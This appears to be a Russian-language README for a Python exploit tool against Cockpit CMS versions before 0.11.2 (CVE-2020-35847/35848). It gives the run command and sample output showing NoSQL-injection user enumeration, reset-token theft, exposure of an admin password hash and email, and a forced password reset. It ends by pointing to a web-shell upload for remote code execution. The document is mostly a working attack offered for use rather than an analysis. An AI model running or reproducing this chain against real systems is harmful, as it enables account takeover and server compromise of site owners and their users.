
CVE-2020-35847, CVE-2020-35848 : Захват учётной записи
Cockpit CMS до версии 0.11.2 уязвим для NoSQL-инъекции в /auth/resetpassword и /auth/newpassword, которая позволяет извлекать токены сброса пароля, что дает возможность перечислять данные пользователей, а также сбрасывать пароли.
Подробнее - https://swarm.ptsecurity.com/rce-cockpit-cms/
Этот Python-скрипт перечисляет пользователей системы и сбрасывает пароль.
python3 exploit.py -u http://cockpit-site-url
Сначала скрипт перечисляет пользователей системы.
[+] http://cockpit-site-url: is reachable
[-] Attempting Username Enumeration (CVE-2020-35846) :
[+] Users Found : ['admin', 'user1', 'user2', 'user3']
Затем вы можете выбрать пользователя, о котором нужно получить больше информации. Это также генерирует токены сброса для этого пользователя — ключевое требование при сбросе пароля.
[-] Get user details For : admin
[+] Finding Password reset tokens
Tokens Found : ['rp-4e82b990aff752bfb1dc9845d5338f6e610d0608bb75e']
[+] Obtaining user information
-----------------Details--------------------
[*] user : admin
[*] name : Admin
[*] email : [email protected]
[*] active : True
[*] group : admin
[*] password : $2y$10$6uQ2PXh4vShH.D4gw..WtO0NHQq7J36ugmwKNtJGzu9p9OqSEpVUW
[*] i18n : en
[*] _created : 1621655201
[*] _modified : 1621655201
[*] _id : 60a87ea165343539ee000300
[*] _reset_token : rp-4e82b990aff752bfb1dc9845d5338f6e610d0608bb75e
[*] md5email : a11eea8bf873a483db461bb169beccec
--------------------------------------------
Наконец, вы можете сбросить пароль пользователя.
[+] Do you want to reset the passowrd for admin? (Y/n): y
[-] Attempting to reset admin's password:
[+] Password Updated Succesfully!
[+] The New credentials for admin is:
Username : admin
Password : new_random_password
После этого вы можете загрузить веб-шелл в компонент /finder, чтобы получить RCE.